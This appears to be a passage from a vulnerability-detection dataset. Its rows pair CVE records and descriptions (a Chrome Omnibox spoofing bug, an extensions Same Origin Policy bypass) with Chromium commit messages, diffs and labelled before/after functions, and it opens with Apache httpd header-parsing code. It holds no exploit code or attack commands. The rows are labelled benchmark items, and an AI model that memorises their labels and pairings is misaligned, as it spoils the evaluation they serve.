* so append it to the line that we've set aside.
* Note: this uses a power-of-two allocator to avoid
* doing O(n) allocs and using O(n^2) space for
* continuations that span many many lines.
*/
apr_size_t fold_len = last_len + len + 1; /* trailing null */
if (fold_len >= (apr_size_t)(r->server->limit_req_fieldsize)) {
r->status = HTTP_BAD_REQUEST;
/* report what we have accumulated so far before the
* overflow (last_field) as the field with the problem
*/
apr_table_setn(r->notes, "error-notes",
apr_psprintf(r->pool,
"Size of a request header field "
"after folding "
"exceeds server limit.<br />\n"
"<pre>\n%.*s\n</pre>\n",
field_name_len(last_field),
ap_escape_html(r->pool, last_field)));
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00562)
"Request header exceeds LimitRequestFieldSize "
"after folding: %.*s",
field_name_len(last_field), last_field);
return;
}
if (fold_len > alloc_len) {
char *fold_buf;
alloc_len += alloc_len;
if (fold_len > alloc_len) {
alloc_len = fold_len;
}
fold_buf = (char *)apr_palloc(r->pool, alloc_len);
memcpy(fold_buf, last_field, last_len);
last_field = fold_buf;
}
memcpy(last_field + last_len, field, len +1); /* +1 for nul */
last_len += len;
folded = 1;
}
else /* not a continuation line */ {
if (r->server->limit_req_fields
&& (++fields_read > r->server->limit_req_fields)) {
r->status = HTTP_BAD_REQUEST;
apr_table_setn(r->notes, "error-notes",
"The number of request header fields "
"exceeds this server's limit.");
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00563)
"Number of request headers exceeds "
"LimitRequestFields");
return;
}
if (!(value = strchr(last_field, ':'))) { /* Find ':' or */
r->status = HTTP_BAD_REQUEST; /* abort bad request */
apr_table_setn(r->notes, "error-notes",
apr_psprintf(r->pool,
"Request header field is "
"missing ':' separator.<br />\n"
"<pre>\n%.*s</pre>\n",
(int)LOG_NAME_MAX_LEN,
ap_escape_html(r->pool,
last_field)));
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00564)
"Request header field is missing ':' "
"separator: %.*s", (int)LOG_NAME_MAX_LEN,
last_field);
return;
}
tmp_field = value - 1; /* last character of field-name */
*value++ = '\0'; /* NUL-terminate at colon */
while (*value == ' ' || *value == '\t') {
++value; /* Skip to start of value */
}
/* Strip LWS after field-name: */
while (tmp_field > last_field
&& (*tmp_field == ' ' || *tmp_field == '\t')) {
*tmp_field-- = '\0';
}
/* Strip LWS after field-value: */
tmp_field = last_field + last_len - 1;
while (tmp_field > value
&& (*tmp_field == ' ' || *tmp_field == '\t')) {
*tmp_field-- = '\0';
}
if (conf->http_conformance & AP_HTTP_CONFORMANCE_STRICT) {
int err = 0;
if (*last_field == '\0') {
err = HTTP_BAD_REQUEST;
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(02425)
"Empty request header field name not allowed");
}
else if (ap_has_cntrl(last_field)) {
err = HTTP_BAD_REQUEST;
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(02426)
"[HTTP strict] Request header field name contains "
"control character: %.*s",
(int)LOG_NAME_MAX_LEN, last_field);
}
else if (ap_has_cntrl(value)) {
err = HTTP_BAD_REQUEST;
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(02427)
"Request header field '%.*s' contains "
"control character", (int)LOG_NAME_MAX_LEN,
last_field);
}
if (err && !(conf->http_conformance & AP_HTTP_CONFORMANCE_LOGONLY)) {
r->status = err;
return;
}
}
apr_table_addn(r->headers_in, last_field, value);
/* reset the alloc_len so that we'll allocate a new
* buffer if we have to do any more folding: we can't
* use the previous buffer because its contents are
* now part of r->headers_in
*/
alloc_len = 0;
} /* end if current line is not a continuation starting with tab */
}
/* Found a blank line, stop. */
if (len == 0) {
break;
}
/* Keep track of this line so that we can parse it on
* the next loop iteration. (In the folded case, last_field
* has been updated already.)
*/
if (!folded) {
last_field = field;
last_len = len;
}
}
/* Combine multiple message-header fields with the same
* field-name, following RFC 2616, 4.2.
*/
apr_table_compress(r->headers_in, APR_OVERLAP_TABLES_MERGE);
/* enforce LimitRequestFieldSize for merged headers */
apr_table_do(table_do_fn_check_lengths, r, r->headers_in, NULL);
}
|
163,791
| null |
Remote
|
Not required
| null |
CVE-2017-15389
|
https://www.cvedetails.com/cve/CVE-2017-15389/
|
CWE-20
|
Medium
| null |
Partial
| null |
2018-02-07
| 4.3
|
An insufficient watchdog timer in navigation in Google Chrome prior to 62.0.3202.62 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.
|
2018-02-22
| null | 0
|
https://github.com/chromium/chromium/commit/5788690fb1395dc672ff9b3385dbfb1180ed710a
|
5788690fb1395dc672ff9b3385dbfb1180ed710a
|
mac: Make RWHVMac::ClearCompositorFrame clear locks
Ensure that the BrowserCompositorMac not hold on to a compositor lock
when requested to clear its compositor frame. This lock may be held
indefinitely (if the renderer hangs) and so the frame will never be
cleared.
Bug: 739621
Change-Id: I15d0e82bdf632f3379a48e959f198afb8a4ac218
Reviewed-on: https://chromium-review.googlesource.com/608239
Commit-Queue: ccameron chromium <ccameron@chromium.org>
Reviewed-by: Ken Buchanan <kenrb@chromium.org>
Cr-Commit-Position: refs/heads/master@{#493563}
| 0
|
content/browser/renderer_host/delegated_frame_host.cc
|
{"sha": "4355a8cdacb4f8308554dadba4367f2923cabdae", "filename": "content/browser/renderer_host/browser_compositor_view_mac.h", "status": "modified", "additions": 8, "deletions": 1, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/browser_compositor_view_mac.h", "raw_url": "https://github.com/chromium/chromium/raw/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/browser_compositor_view_mac.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/browser_compositor_view_mac.h?ref=5788690fb1395dc672ff9b3385dbfb1180ed710a", "patch": "@@ -38,7 +38,7 @@ class BrowserCompositorMacClient {\n // is visible.\n // - The RenderWidgetHostViewMac that is used to display these frames is\n // attached to the NSView hierarchy of an NSWindow.\n-class BrowserCompositorMac : public DelegatedFrameHostClient {\n+class CONTENT_EXPORT BrowserCompositorMac : public DelegatedFrameHostClient {\n public:\n BrowserCompositorMac(\n ui::AcceleratedWidgetMacNSView* accelerated_widget_mac_ns_view,\n@@ -51,6 +51,10 @@ class BrowserCompositorMac : public DelegatedFrameHostClient {\n // These will not return nullptr until Destroy is called.\n DelegatedFrameHost* GetDelegatedFrameHost();\n \n+ // Ensure that the currect compositor frame be cleared (even if it is\n+ // potentially visible).\n+ void ClearCompositorFrame();\n+\n // This may return nullptr, if this has detached itself from its\n // ui::Compositor.\n ui::AcceleratedWidgetMac* GetAcceleratedWidgetMac();\n@@ -105,6 +109,9 @@ class BrowserCompositorMac : public DelegatedFrameHostClient {\n void OnBeginFrame() override;\n bool IsAutoResizeEnabled() const override;\n \n+ // Returns nullptr if no compositor is attached.\n+ ui::Compositor* CompositorForTesting() const;\n+\n private:\n // The state of |delegated_frame_host_| and |recyclable_compositor_| to\n // manage being visible, hidden, or occluded."}<_**next**_>{"sha": "428bef1ff74eae19cd0b89739d326df44fb42e31", "filename": "content/browser/renderer_host/browser_compositor_view_mac.mm", "status": "modified", "additions": 17, "deletions": 0, "changes": 17, "blob_url": "https://github.com/chromium/chromium/blob/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/browser_compositor_view_mac.mm", "raw_url": "https://github.com/chromium/chromium/raw/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/browser_compositor_view_mac.mm", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/browser_compositor_view_mac.mm?ref=5788690fb1395dc672ff9b3385dbfb1180ed710a", "patch": "@@ -216,6 +216,17 @@ void OnCompositingShuttingDown(ui::Compositor* compositor) override {}\n return delegated_frame_host_.get();\n }\n \n+void BrowserCompositorMac::ClearCompositorFrame() {\n+ // Make sure that we no longer hold a compositor lock by un-suspending the\n+ // compositor. This ensures that we are able to swap in a new blank frame to\n+ // replace any old content.\n+ // https://crbug.com/739621\n+ if (recyclable_compositor_)\n+ recyclable_compositor_->Unsuspend();\n+ if (delegated_frame_host_)\n+ delegated_frame_host_->ClearDelegatedFrame();\n+}\n+\n void BrowserCompositorMac::CopyCompleted(\n base::WeakPtr<BrowserCompositorMac> browser_compositor,\n const ReadbackRequestCallback& callback,\n@@ -450,4 +461,10 @@ void OnCompositingShuttingDown(ui::Compositor* compositor) override {}\n return false;\n }\n \n+ui::Compositor* BrowserCompositorMac::CompositorForTesting() const {\n+ if (recyclable_compositor_)\n+ return recyclable_compositor_->compositor();\n+ return nullptr;\n+}\n+\n } // namespace content"}<_**next**_>{"sha": "5aa3c3a3bb303fa6e88a0f961f1656ae20f38dbc", "filename": "content/browser/renderer_host/delegated_frame_host.cc", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/delegated_frame_host.cc", "raw_url": "https://github.com/chromium/chromium/raw/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/delegated_frame_host.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/delegated_frame_host.cc?ref=5788690fb1395dc672ff9b3385dbfb1180ed710a", "patch": "@@ -488,6 +488,11 @@ void DelegatedFrameHost::SubmitCompositorFrame(\n }\n \n void DelegatedFrameHost::ClearDelegatedFrame() {\n+ // Ensure that we are able to swap in a new blank frame to replace any old\n+ // content. This will result in a white flash if we switch back to this\n+ // content.\n+ // https://crbug.com/739621\n+ released_front_lock_.reset();\n EvictDelegatedFrame();\n }\n "}<_**next**_>{"sha": "9374bf30a7385f0f9fb712740729e207938ef45b", "filename": "content/browser/renderer_host/render_widget_host_view_mac.h", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/render_widget_host_view_mac.h", "raw_url": "https://github.com/chromium/chromium/raw/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/render_widget_host_view_mac.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_view_mac.h?ref=5788690fb1395dc672ff9b3385dbfb1180ed710a", "patch": "@@ -447,6 +447,9 @@ class CONTENT_EXPORT RenderWidgetHostViewMac\n \n // Delegated frame management and compositor interface.\n std::unique_ptr<BrowserCompositorMac> browser_compositor_;\n+ BrowserCompositorMac* BrowserCompositorForTesting() const {\n+ return browser_compositor_.get();\n+ }\n \n // Set when the currently-displayed frame is the minimum scale. Used to\n // determine if pinch gestures need to be thresholded."}<_**next**_>{"sha": "db0fb3681f4516ef1e5495b2c04d053641cb69d9", "filename": "content/browser/renderer_host/render_widget_host_view_mac.mm", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/render_widget_host_view_mac.mm", "raw_url": "https://github.com/chromium/chromium/raw/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/render_widget_host_view_mac.mm", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_view_mac.mm?ref=5788690fb1395dc672ff9b3385dbfb1180ed710a", "patch": "@@ -1447,7 +1447,7 @@ new BrowserCompositorMac(this, this, render_widget_host_->is_hidden(),\n }\n \n void RenderWidgetHostViewMac::ClearCompositorFrame() {\n- browser_compositor_->GetDelegatedFrameHost()->ClearDelegatedFrame();\n+ browser_compositor_->ClearCompositorFrame();\n }\n \n gfx::Rect RenderWidgetHostViewMac::GetBoundsInRootWindow() {"}<_**next**_>{"sha": "f03c1410e6ee4d7890227f0899591f60f5853c61", "filename": "content/browser/renderer_host/render_widget_host_view_mac_unittest.mm", "status": "modified", "additions": 10, "deletions": 0, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/render_widget_host_view_mac_unittest.mm", "raw_url": "https://github.com/chromium/chromium/raw/5788690fb1395dc672ff9b3385dbfb1180ed710a/content/browser/renderer_host/render_widget_host_view_mac_unittest.mm", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_view_mac_unittest.mm?ref=5788690fb1395dc672ff9b3385dbfb1180ed710a", "patch": "@@ -2127,4 +2127,14 @@ void SetTextInputType(RenderWidgetHostViewBase* view,\n rwhv_mac_->release_pepper_fullscreen_window_for_testing();\n }\n \n+TEST_F(RenderWidgetHostViewMacTest, ClearCompositorFrame) {\n+ BrowserCompositorMac* browser_compositor =\n+ rwhv_mac_->BrowserCompositorForTesting();\n+ EXPECT_NE(browser_compositor->CompositorForTesting(), nullptr);\n+ EXPECT_TRUE(browser_compositor->CompositorForTesting()->IsLocked());\n+ rwhv_mac_->ClearCompositorFrame();\n+ EXPECT_NE(browser_compositor->CompositorForTesting(), nullptr);\n+ EXPECT_FALSE(browser_compositor->CompositorForTesting()->IsLocked());\n+}\n+\n } // namespace content"}
|
viz::SurfaceId DelegatedFrameHost::SurfaceIdAtPoint(
viz::SurfaceHittestDelegate* delegate,
const gfx::Point& point,
gfx::Point* transformed_point) {
viz::SurfaceId surface_id(frame_sink_id_, local_surface_id_);
if (!surface_id.is_valid())
return surface_id;
viz::SurfaceHittest hittest(delegate,
GetFrameSinkManager()->surface_manager());
gfx::Transform target_transform;
viz::SurfaceId target_local_surface_id =
hittest.GetTargetSurfaceAtPoint(surface_id, point, &target_transform);
*transformed_point = point;
if (target_local_surface_id.is_valid())
target_transform.TransformPoint(transformed_point);
return target_local_surface_id;
}
|
viz::SurfaceId DelegatedFrameHost::SurfaceIdAtPoint(
viz::SurfaceHittestDelegate* delegate,
const gfx::Point& point,
gfx::Point* transformed_point) {
viz::SurfaceId surface_id(frame_sink_id_, local_surface_id_);
if (!surface_id.is_valid())
return surface_id;
viz::SurfaceHittest hittest(delegate,
GetFrameSinkManager()->surface_manager());
gfx::Transform target_transform;
viz::SurfaceId target_local_surface_id =
hittest.GetTargetSurfaceAtPoint(surface_id, point, &target_transform);
*transformed_point = point;
if (target_local_surface_id.is_valid())
target_transform.TransformPoint(transformed_point);
return target_local_surface_id;
}
|
C
| null | null | null |
@@ -488,6 +488,11 @@ void DelegatedFrameHost::SubmitCompositorFrame(
}
void DelegatedFrameHost::ClearDelegatedFrame() {
+ // Ensure that we are able to swap in a new blank frame to replace any old
+ // content. This will result in a white flash if we switch back to this
+ // content.
+ // https://crbug.com/739621
+ released_front_lock_.reset();
EvictDelegatedFrame();
}
|
Chrome
|
5788690fb1395dc672ff9b3385dbfb1180ed710a
|
6f0e3b2e552282301575d17cf664d3b1f5888302
| 0
|
viz::SurfaceId DelegatedFrameHost::SurfaceIdAtPoint(
viz::SurfaceHittestDelegate* delegate,
const gfx::Point& point,
gfx::Point* transformed_point) {
viz::SurfaceId surface_id(frame_sink_id_, local_surface_id_);
if (!surface_id.is_valid())
return surface_id;
viz::SurfaceHittest hittest(delegate,
GetFrameSinkManager()->surface_manager());
gfx::Transform target_transform;
viz::SurfaceId target_local_surface_id =
hittest.GetTargetSurfaceAtPoint(surface_id, point, &target_transform);
*transformed_point = point;
if (target_local_surface_id.is_valid())
target_transform.TransformPoint(transformed_point);
return target_local_surface_id;
}
|
125,271
| null | null | null | null | null | null | null | null | null | null | null | null | null | null |
2013-01
| null | 0
|
https://github.com/chromium/chromium/commit/70cff275010b33dbab628f837d76364359065b79
|
70cff275010b33dbab628f837d76364359065b79
|
Disable compositor thread input handling on windows
BUG=160122
Review URL: https://chromiumcodereview.appspot.com/11946019
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@177369 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
content/renderer/render_view_impl.cc
|
{"sha": "fe416ccad596990cf1cb3a4ca7010e2d6cf459cc", "filename": "content/renderer/render_view_impl.cc", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/70cff275010b33dbab628f837d76364359065b79/content/renderer/render_view_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/70cff275010b33dbab628f837d76364359065b79/content/renderer/render_view_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_view_impl.cc?ref=70cff275010b33dbab628f837d76364359065b79", "patch": "@@ -2537,11 +2537,13 @@ bool RenderViewImpl::isPointerLocked() {\n }\n \n void RenderViewImpl::didActivateCompositor(int input_handler_identifier) {\n+#if !defined(OS_WIN) // http://crbug.com/160122\n CompositorThread* compositor_thread =\n RenderThreadImpl::current()->compositor_thread();\n if (compositor_thread)\n compositor_thread->AddInputHandler(\n routing_id_, input_handler_identifier, AsWeakPtr());\n+#endif\n \n RenderWidget::didActivateCompositor(input_handler_identifier);\n "}
|
static void MaybeHandleDebugURL(const GURL& url) {
if (!url.SchemeIs(chrome::kChromeUIScheme))
return;
if (url == GURL(chrome::kChromeUICrashURL)) {
CrashIntentionally();
} else if (url == GURL(chrome::kChromeUIKillURL)) {
base::KillProcess(base::GetCurrentProcessHandle(), 1, false);
} else if (url == GURL(chrome::kChromeUIHangURL)) {
for (;;) {
base::PlatformThread::Sleep(base::TimeDelta::FromSeconds(1));
}
} else if (url == GURL(kChromeUIShorthangURL)) {
base::PlatformThread::Sleep(base::TimeDelta::FromSeconds(20));
}
}
|
static void MaybeHandleDebugURL(const GURL& url) {
if (!url.SchemeIs(chrome::kChromeUIScheme))
return;
if (url == GURL(chrome::kChromeUICrashURL)) {
CrashIntentionally();
} else if (url == GURL(chrome::kChromeUIKillURL)) {
base::KillProcess(base::GetCurrentProcessHandle(), 1, false);
} else if (url == GURL(chrome::kChromeUIHangURL)) {
for (;;) {
base::PlatformThread::Sleep(base::TimeDelta::FromSeconds(1));
}
} else if (url == GURL(kChromeUIShorthangURL)) {
base::PlatformThread::Sleep(base::TimeDelta::FromSeconds(20));
}
}
|
C
| null | null | null |
@@ -2537,11 +2537,13 @@ bool RenderViewImpl::isPointerLocked() {
}
void RenderViewImpl::didActivateCompositor(int input_handler_identifier) {
+#if !defined(OS_WIN) // http://crbug.com/160122
CompositorThread* compositor_thread =
RenderThreadImpl::current()->compositor_thread();
if (compositor_thread)
compositor_thread->AddInputHandler(
routing_id_, input_handler_identifier, AsWeakPtr());
+#endif
RenderWidget::didActivateCompositor(input_handler_identifier);
|
Chrome
|
70cff275010b33dbab628f837d76364359065b79
|
b8b3337b6cbdf65e922c59ed442b8a48a8a02f04
| 0
|
static void MaybeHandleDebugURL(const GURL& url) {
if (!url.SchemeIs(chrome::kChromeUIScheme))
return;
if (url == GURL(chrome::kChromeUICrashURL)) {
CrashIntentionally();
} else if (url == GURL(chrome::kChromeUIKillURL)) {
base::KillProcess(base::GetCurrentProcessHandle(), 1, false);
} else if (url == GURL(chrome::kChromeUIHangURL)) {
for (;;) {
base::PlatformThread::Sleep(base::TimeDelta::FromSeconds(1));
}
} else if (url == GURL(kChromeUIShorthangURL)) {
base::PlatformThread::Sleep(base::TimeDelta::FromSeconds(20));
}
}
|
169,542
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-1674
|
https://www.cvedetails.com/cve/CVE-2016-1674/
| null |
Medium
|
Partial
|
Partial
| null |
2016-06-05
| 6.8
|
The extensions subsystem in Google Chrome before 51.0.2704.63 allows remote attackers to bypass the Same Origin Policy via unspecified vectors.
|
2018-10-30
|
Bypass
| 0
|
https://github.com/chromium/chromium/commit/14ff9d0cded8ae8032ef027d1f33c6666a695019
|
14ff9d0cded8ae8032ef027d1f33c6666a695019
|
[Extensions] Add more bindings access checks
BUG=598165
Review URL: https://codereview.chromium.org/1854983002
Cr-Commit-Position: refs/heads/master@{#385282}
| 0
|
chrome/renderer/extensions/automation_internal_custom_bindings.cc
|
{"sha": "090971a64ff04e53e9a3e4933c742515453b7026", "filename": "chrome/renderer/extensions/automation_internal_custom_bindings.cc", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/automation_internal_custom_bindings.cc", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/automation_internal_custom_bindings.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/extensions/automation_internal_custom_bindings.cc?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -418,10 +418,10 @@ AutomationInternalCustomBindings::AutomationInternalCustomBindings(\n // It's safe to use base::Unretained(this) here because these bindings\n // will only be called on a valid AutomationInternalCustomBindings instance\n // and none of the functions have any side effects.\n- #define ROUTE_FUNCTION(FN) \\\n- RouteFunction(#FN, \\\n+#define ROUTE_FUNCTION(FN) \\\n+ RouteFunction(#FN, \"automation\", \\\n base::Bind(&AutomationInternalCustomBindings::FN, \\\n- base::Unretained(this)))\n+ base::Unretained(this)))\n ROUTE_FUNCTION(IsInteractPermitted);\n ROUTE_FUNCTION(GetSchemaAdditions);\n ROUTE_FUNCTION(GetRoutingID);"}<_**next**_>{"sha": "06ae435e481c22f1ff53eab68ec5108048ececc8", "filename": "chrome/renderer/extensions/cast_streaming_native_handler.cc", "status": "modified", "additions": 14, "deletions": 13, "changes": 27, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/cast_streaming_native_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/cast_streaming_native_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/extensions/cast_streaming_native_handler.cc?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -187,42 +187,43 @@ CastStreamingNativeHandler::CastStreamingNativeHandler(ScriptContext* context)\n : ObjectBackedNativeHandler(context),\n last_transport_id_(1),\n weak_factory_(this) {\n- RouteFunction(\"CreateSession\",\n+ RouteFunction(\"CreateSession\", \"cast.streaming.session\",\n base::Bind(&CastStreamingNativeHandler::CreateCastSession,\n weak_factory_.GetWeakPtr()));\n- RouteFunction(\"DestroyCastRtpStream\",\n+ RouteFunction(\"DestroyCastRtpStream\", \"cast.streaming.rtpStream\",\n base::Bind(&CastStreamingNativeHandler::DestroyCastRtpStream,\n weak_factory_.GetWeakPtr()));\n RouteFunction(\n- \"GetSupportedParamsCastRtpStream\",\n+ \"GetSupportedParamsCastRtpStream\", \"cast.streaming.rtpStream\",\n base::Bind(&CastStreamingNativeHandler::GetSupportedParamsCastRtpStream,\n weak_factory_.GetWeakPtr()));\n- RouteFunction(\"StartCastRtpStream\",\n+ RouteFunction(\"StartCastRtpStream\", \"cast.streaming.rtpStream\",\n base::Bind(&CastStreamingNativeHandler::StartCastRtpStream,\n weak_factory_.GetWeakPtr()));\n- RouteFunction(\"StopCastRtpStream\",\n+ RouteFunction(\"StopCastRtpStream\", \"cast.streaming.rtpStream\",\n base::Bind(&CastStreamingNativeHandler::StopCastRtpStream,\n weak_factory_.GetWeakPtr()));\n- RouteFunction(\"DestroyCastUdpTransport\",\n+ RouteFunction(\"DestroyCastUdpTransport\", \"cast.streaming.udpTransport\",\n base::Bind(&CastStreamingNativeHandler::DestroyCastUdpTransport,\n weak_factory_.GetWeakPtr()));\n RouteFunction(\n- \"SetDestinationCastUdpTransport\",\n+ \"SetDestinationCastUdpTransport\", \"cast.streaming.udpTransport\",\n base::Bind(&CastStreamingNativeHandler::SetDestinationCastUdpTransport,\n weak_factory_.GetWeakPtr()));\n RouteFunction(\n- \"SetOptionsCastUdpTransport\",\n+ \"SetOptionsCastUdpTransport\", \"cast.streaming.udpTransport\",\n base::Bind(&CastStreamingNativeHandler::SetOptionsCastUdpTransport,\n weak_factory_.GetWeakPtr()));\n- RouteFunction(\"ToggleLogging\",\n+ RouteFunction(\"ToggleLogging\", \"cast.streaming.rtpStream\",\n base::Bind(&CastStreamingNativeHandler::ToggleLogging,\n weak_factory_.GetWeakPtr()));\n- RouteFunction(\"GetRawEvents\",\n+ RouteFunction(\"GetRawEvents\", \"cast.streaming.rtpStream\",\n base::Bind(&CastStreamingNativeHandler::GetRawEvents,\n weak_factory_.GetWeakPtr()));\n- RouteFunction(\"GetStats\", base::Bind(&CastStreamingNativeHandler::GetStats,\n- weak_factory_.GetWeakPtr()));\n- RouteFunction(\"StartCastRtpReceiver\",\n+ RouteFunction(\"GetStats\", \"cast.streaming.rtpStream\",\n+ base::Bind(&CastStreamingNativeHandler::GetStats,\n+ weak_factory_.GetWeakPtr()));\n+ RouteFunction(\"StartCastRtpReceiver\", \"cast.streaming.receiverSession\",\n base::Bind(&CastStreamingNativeHandler::StartCastRtpReceiver,\n weak_factory_.GetWeakPtr()));\n }"}<_**next**_>{"sha": "e24fe4c0d8ab8035cf13ccdbf31529eaed990c12", "filename": "chrome/renderer/extensions/file_browser_handler_custom_bindings.cc", "status": "modified", "additions": 11, "deletions": 18, "changes": 29, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/file_browser_handler_custom_bindings.cc", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/file_browser_handler_custom_bindings.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/extensions/file_browser_handler_custom_bindings.cc?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -9,7 +9,6 @@\n #include \"base/logging.h\"\n #include \"build/build_config.h\"\n #include \"extensions/renderer/script_context.h\"\n-#include \"extensions/renderer/v8_helpers.h\"\n #include \"third_party/WebKit/public/platform/WebString.h\"\n #include \"third_party/WebKit/public/web/WebDOMFileSystem.h\"\n #include \"third_party/WebKit/public/web/WebLocalFrame.h\"\n@@ -20,18 +19,17 @@ FileBrowserHandlerCustomBindings::FileBrowserHandlerCustomBindings(\n ScriptContext* context)\n : ObjectBackedNativeHandler(context) {\n RouteFunction(\n- \"GetExternalFileEntry\",\n- base::Bind(&FileBrowserHandlerCustomBindings::GetExternalFileEntry,\n- base::Unretained(this)));\n- RouteFunction(\"GetEntryURL\",\n- base::Bind(&FileBrowserHandlerCustomBindings::GetEntryURL,\n- base::Unretained(this)));\n+ \"GetExternalFileEntry\", \"fileBrowserHandler\",\n+ base::Bind(\n+ &FileBrowserHandlerCustomBindings::GetExternalFileEntryCallback,\n+ base::Unretained(this)));\n }\n \n void FileBrowserHandlerCustomBindings::GetExternalFileEntry(\n- const v8::FunctionCallbackInfo<v8::Value>& args) {\n- // TODO(zelidrag): Make this magic work on other platforms when file browser\n- // matures enough on ChromeOS.\n+ const v8::FunctionCallbackInfo<v8::Value>& args,\n+ ScriptContext* context) {\n+// TODO(zelidrag): Make this magic work on other platforms when file browser\n+// matures enough on ChromeOS.\n #if defined(OS_CHROMEOS)\n CHECK(args.Length() == 1);\n CHECK(args[0]->IsObject());\n@@ -51,7 +49,7 @@ void FileBrowserHandlerCustomBindings::GetExternalFileEntry(\n is_directory ? blink::WebDOMFileSystem::EntryTypeDirectory\n : blink::WebDOMFileSystem::EntryTypeFile;\n blink::WebLocalFrame* webframe =\n- blink::WebLocalFrame::frameForContext(context()->v8_context());\n+ blink::WebLocalFrame::frameForContext(context->v8_context());\n args.GetReturnValue().Set(\n blink::WebDOMFileSystem::create(\n webframe,\n@@ -65,14 +63,9 @@ void FileBrowserHandlerCustomBindings::GetExternalFileEntry(\n #endif\n }\n \n-void FileBrowserHandlerCustomBindings::GetEntryURL(\n+void FileBrowserHandlerCustomBindings::GetExternalFileEntryCallback(\n const v8::FunctionCallbackInfo<v8::Value>& args) {\n- CHECK(args.Length() == 1);\n- CHECK(args[0]->IsObject());\n- const blink::WebURL& url =\n- blink::WebDOMFileSystem::createFileSystemURL(args[0]);\n- args.GetReturnValue().Set(v8_helpers::ToV8StringUnsafe(\n- args.GetIsolate(), url.string().utf8().c_str()));\n+ GetExternalFileEntry(args, context());\n }\n \n } // namespace extensions"}<_**next**_>{"sha": "c0612a05321d037bfc01615c6e7209a1eff4ea82", "filename": "chrome/renderer/extensions/file_browser_handler_custom_bindings.h", "status": "modified", "additions": 8, "deletions": 2, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/file_browser_handler_custom_bindings.h", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/file_browser_handler_custom_bindings.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/extensions/file_browser_handler_custom_bindings.h?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -16,9 +16,15 @@ class FileBrowserHandlerCustomBindings : public ObjectBackedNativeHandler {\n public:\n explicit FileBrowserHandlerCustomBindings(ScriptContext* context);\n \n+ // Public static implementation of GetExternalFileEntry() for use by\n+ // FileManagerPrivate native handler.\n+ static void GetExternalFileEntry(\n+ const v8::FunctionCallbackInfo<v8::Value>& args,\n+ ScriptContext* context);\n+\n private:\n- void GetExternalFileEntry(const v8::FunctionCallbackInfo<v8::Value>& args);\n- void GetEntryURL(const v8::FunctionCallbackInfo<v8::Value>& args);\n+ void GetExternalFileEntryCallback(\n+ const v8::FunctionCallbackInfo<v8::Value>& args);\n \n 